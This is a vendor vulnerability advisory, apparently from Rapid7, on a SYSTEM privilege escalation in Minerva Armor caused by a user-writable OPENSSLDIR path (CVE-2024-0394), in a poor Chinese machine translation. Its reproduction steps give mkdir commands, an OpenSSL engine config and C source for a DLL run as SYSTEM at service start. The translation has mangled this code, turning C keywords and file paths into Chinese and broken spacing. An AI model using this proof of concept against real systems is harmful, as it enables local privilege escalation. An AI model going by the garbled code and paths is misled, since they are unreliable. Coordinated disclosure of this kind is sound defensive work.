最后更新于2024年4月5日(星期五)20:45:32 GMT

Rapid7公开了CVE-2024-0394, Rapid7 Minerva的Armor产品系列中的一个特权升级漏洞. Minerva使用开源的OpenSSL库来实现加密功能并支持安全通信. 这个漏洞的根本原因是Minerva对OpenSSL的实现 OPENSSLDIR 参数,该参数被设置为低权限用户(例如 C: \ git \ vcpkg \ \ openssl_x86-windows-static-vs2019-static \ openssl包.cnf). Rapid7已将此漏洞评估为CVSSv3得分为 7.8.

Impact

因为Minerva Armor是作为Windows服务运行的, 此漏洞允许任何经过身份验证的用户提升特权并使用SYSTEM特权执行任意代码. 低权限攻击者可以创建 openssl.cnf 加载恶意OpenSSL引擎库, 导致在服务启动时作为SYSTEM执行任意代码.

Credit

Rapid7要感谢Will Dormann Vul Labs 向我们披露此漏洞 Rapid7的漏洞披露策略. 我们感谢Will和安全研究社区的工作,他们的工作使软件和系统对每个人都更安全.

产品描述

Minerva Armor技术是一个核心端点安全组件(仅限Windows),旨在防止规避恶意软件, ransomware, 高级网络攻击. Armor由世界各地的中小企业和企业组织在不同的部门和垂直领域运营和信任.

密涅瓦装甲技术是由密涅瓦实验室开发的 被Rapid7收购 2023年3月. Armor是Minerva Armor和Rapid7下一代防病毒(NGAV)产品系列的一部分。. 装甲以前被用作Intego AV的OEM组件. Note: Insight代理不容易受到此问题的影响.

剥削

在Armor 32位服务启动期间(MVArmorService32.exe), Armor加载OpenSSL库. OpenSSL是一个提供各种加密功能的库. This library has an internal directory tree that is used to locate the configuration file; this directory is called OPENSSLDIR. 配置文件驻留在OPENSSLDIR中 openssl.cnf. 这就是特权升级机会开始的地方.

当应用程序依赖于OpenSSL库时, 有必要在编译时指明OPENSSLDIR的完整路径, 但是在运行时, 这条路径是不必要的. Therefore, 使用逆向工程技术和工具可以发现完整的路径, 比如字符串, ProcMon, and others.

如果攻击者可以放置 openssl.cnf 文件并指定要加载的恶意库,则执行攻击者的代码. 这个漏洞的根本原因在于Minerva中的OpenSSL库的配置, 其中OPENSSLDIR参数设置为低权限用户可访问的路径, such as C: \ git \ vcpkg \ \ openssl_x86-windows-static-vs2019-static \ openssl包.cnf. 因为Armor是作为Windows服务运行的, 此漏洞允许任何经过身份验证的用户提升特权并使用SYSTEM特权执行任意代码. 低权限用户可以创建openssl.使用上面提到的配置文件来加载恶意OpenSSL引擎库, 导致在服务启动时作为SYSTEM执行任意代码.

下面是一个ProcMon捕获的装甲服务寻找 openssl.cnf file:

繁殖的步骤

所有步骤都以低权限认证用户执行:

  1. 创建“C:\git\vcpkg\packages\openssl_x86-windows-static-vs2019-static”目录:
    mkdir“C: \ git包\ vcpkg \ \ openssl_x86-windows-static-vs2019-static”
  2. Create an .cnf file 内容如下:
Openssl_conf = openssl_init . conf
(openssl_init)
引擎= engine_section
(engine_section)
Woot = woot_section
(woot_section)
Engine_id = woot
Dynamic_path = c:\\danik\\calc.dll
init = 0
  1. 创建c:\danik文件夹:
    mkdir“C: \ danik”
  2. 编译并链接一个恶意的“OpenSSL库”——下面的代码将运行Windows计算器:
#include 
BOOL WINAPI DllMain(
    实例句柄hinstDLL,
    DWORD fdwReason,
    LPVOID(保存)
{
    switch(fdwReason)
    {
        案例DLL_PROCESS_ATTACH:
            系统(“钙”);
            break;
        案例DLL_THREAD_ATTACH:
         //执行线程特定的初始化.
            break;
        案例DLL_THREAD_DETACH:
         //执行特定于线程的清理.
            break;
        案例DLL_PROCESS_DETACH:
         //执行任何必要的清理.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
  1. Copy calc.dll 从上面的“C:\danik”目录.
  2. 重新启动Armor服务或整个机器.

修复

为了修复CVE-2024-0394, Minerva客户应该更新最新版本:

Customers 修复版本
密涅瓦的客户 装甲4版.5.5
密涅瓦装甲OEM客户 装甲OEM版本4.5.5

披露时间表

2024年1月8日: Will Dormann向Rapid7报告的问题 Vul Labs
2024年1月9日: Rapid7确认报告
2024年1月11日: Rapid7重现问题,确认漏洞
2024年1月至2月: Rapid7工程团队开发和测试修复, requests information from partner on potentially vulnerable implementation; partner confirms they are no longer offering vulnerable implementation.
2024年3月12日: Rapid7联系记者询问我们之前是否沟通过修复时间表
2024年3月19日: Rapid7分配CVE,向报告人员更新修复准备情况,确认受影响/修复的版本. Rapid7和记者同意将2024年4月3日作为协调的披露日期.
2024年4月3日: This disclosure; fix released.